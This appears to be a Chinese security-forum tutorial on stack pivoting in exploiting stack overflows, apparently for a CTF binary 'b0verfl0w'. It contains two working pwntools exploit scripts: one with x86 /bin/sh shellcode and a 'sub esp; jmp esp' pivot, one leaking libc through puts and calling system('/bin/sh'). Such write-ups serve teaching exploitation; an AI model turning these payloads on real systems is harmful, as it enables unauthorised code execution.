-
-
[原创]花式栈溢出技巧-stack pivoting
-
发表于: 2024-6-19 16:24 3361
-
1. 原理
劫持栈指针(ESP)指向攻击者想让执行的地方。
可能在以下情况需要使用 stack pivoting
- 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
- 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
- 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
2 使用条件
利用 stack pivoting 有以下几个要求
- 可以控制程序执行流。
- 可以控制 sp 指针(栈顶指针)。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
- heap。但是这个需要我们能够泄露堆地址。
程序本身并没有开启堆栈保护,所以我们可以在栈上布置 shellcode 并执行。基本利用思路如下
- 利用栈溢出布置 shellcode
- 控制 eip 指向 shellcode 处
3. Exp解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | from pwn import * p = process( 'b0verfl0w' ) shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 + = "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 + = "\x0b\xcd\x80" print ( len (shellcode_x86)) print ( "shellcode_x86 :" , ( 0x20 - len (shellcode_x86)) * 'b' ) sub_esp_jmp = asm( 'sub esp, 0x28;jmp esp' ) jmp_esp = 0x08048504 # gdb.attach(p, "b *vul\r\n") # 32 4 payload = shellcode_x86 + ( 0x20 - len (shellcode_x86)) * 'b' + 'cccc' + p32(jmp_esp) + sub_esp_jmp p.sendline(payload) p.interactive() |
生成shellcode
1 2 3 | shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 + = "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 + = "\x0b\xcd\x80" |
把shellcode放到寄存器中, 因为寄存器的存储大小是0x20 用shellcode的长度减去0x20得到shellcode不足溢出并补充'b'
1 | shellcode_x86 + ( 0x20 - len (shellcode_x86)) * 'b' |
ebp填充
1 | 'cccc' |
跳转到下一个栈帧的栈顶
jmp_esp
重新定义栈大小并跳转到esp栈顶
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
接着溢出溢出到下一栈帧改变栈帧的内容向上太高栈顶,然后跳转栈顶的shellcode上。
p32(jmp_esp) + sub_esp_jmp
1 2 3 4 5 | jmp_esp = 0x08048504 # .... sub_esp_jmp = asm( 'sub esp, 0x28;jmp esp' ) .... p32(jmp_esp) + sub_esp_jmp |
4.Exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | #coding=utf-8 from pwn import * p = process( 'b0verfl0w' ) elf = ELF( 'b0verfl0w' ) libc = ELF( 'libc.so' ) puts_plt = elf.symbols[ 'puts' ] puts_got = elf.got[ 'puts' ] _start_plt = elf.symbols[ '_start' ] print ( "puts_got: %x" % puts_got) if args.G: gdb.attach(p, 'b *vul' ) # p.recvline("What's your name?") payload = 'a' * 32 + 'bbbb' + p32(puts_plt) + p32(_start_plt) + p32(puts_got) p.sendline(payload) time.sleep( 3 ) puts_addrs_data = p.recv() puts_addrs = u32(puts_addrs_data[ 137 : 137 + 4 ]) print ( "recv接收到的内容 " , hex (puts_addrs)) libc_addrs = puts_addrs - libc.symbols[ 'puts' ] system_addrs = libc_addrs + libc.symbols[ 'system' ] binsh_addr = libc_addrs + next (libc.search( '/bin/sh' )) print ( hex (libc_addrs)) print ( "system_addrs : " , hex (system_addrs)) payload = 'a' * 32 + 'bbbb' + p32(system_addrs) + 'bbbb' + p32(binsh_addr) p.sendline(payload) p.interactive() |
赞赏
他的文章
看原图
赞赏
雪币:
留言: